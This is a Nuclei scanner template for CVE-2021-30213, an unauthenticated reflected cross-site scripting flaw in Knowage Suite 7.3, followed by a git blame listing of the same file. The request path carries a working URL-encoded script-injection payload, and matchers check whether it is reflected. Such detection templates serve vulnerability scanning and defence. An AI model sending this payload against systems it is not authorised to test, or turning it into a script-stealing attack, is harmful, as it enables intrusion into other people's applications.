nuclei-templates/http/cves/2021/CVE-2021-30213.yaml

id: CVE-2021-30213

info:
  name: Knowage Suite 7.3 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.
  reference:
    - https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30213
    - https://github.com/piuppi/Proof-of-Concepts
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30213
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43249
    cpe: cpe:2.3:a:eng:knowage:7.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eng
    product: knowage
  tags: cve2021,cve,xss,knowage,eng

http:
  - method: GET
    path:
      - "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b78beb00cb5e1cb54a9e2d93c1d9985befc910a93a89ed8e983d69e5cf3c2e5f02207b0787b48190812075455ab8195ffde78e40bdf8cc8c009ee355a2b79e8f6088:922c64590222798bb761d5b6d8e72950
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00			`id: CVE-2021-30213`

			`info:`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`name: Knowage Suite 7.3 - Cross-Site Scripting`
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00			`author: alph4byt3`
			`severity: medium`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`description: Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-30213`
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot: 2024-01-29 17:11:14 +00:00			`- https://github.com/piuppi/Proof-of-Concepts`
			`- https://github.com/ARPSyndicate/cvemon`
			`- https://github.com/ARPSyndicate/kenzer-templates`
Auto Generated CVE annotations [Fri Dec 3 07:23:34 UTC 2021] :robot: 2021-12-03 07:23:34 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Auto Generated CVE annotations [Fri Dec 3 07:23:34 UTC 2021] :robot: 2021-12-03 07:23:34 +00:00			`cve-id: CVE-2021-30213`
			`cwe-id: CWE-79`
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot: 2024-01-29 17:11:14 +00:00			`epss-score: 0.00106`
product/queries updated 2024-05-31 19:23:20 +00:00			`epss-percentile: 0.43249`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:eng:knowage:7.3.0:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: eng`
			`product: knowage`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,xss,knowage,eng`
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00			`- method: GET`
			`path:`
Update CVE-2021-30213.yaml 2021-12-03 07:23:01 +00:00			`- "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"`
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
Update CVE-2021-30213.yaml 2021-12-03 07:23:01 +00:00			`words:`
			`- '</script><script>alert(document.domain)</script>'`
Create CVE-2021-30213.yaml 2021-11-24 15:43:59 +00:00
			`- type: word`
			`part: header`
			`words:`
			`- text/html`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Sat Jun 1 06:52:59 UTC 2024] :robot: 2024-06-01 06:53:00 +00:00			`# digest: 4a0a00473045022100b78beb00cb5e1cb54a9e2d93c1d9985befc910a93a89ed8e983d69e5cf3c2e5f02207b0787b48190812075455ab8195ffde78e40bdf8cc8c009ee355a2b79e8f6088:922c64590222798bb761d5b6d8e72950`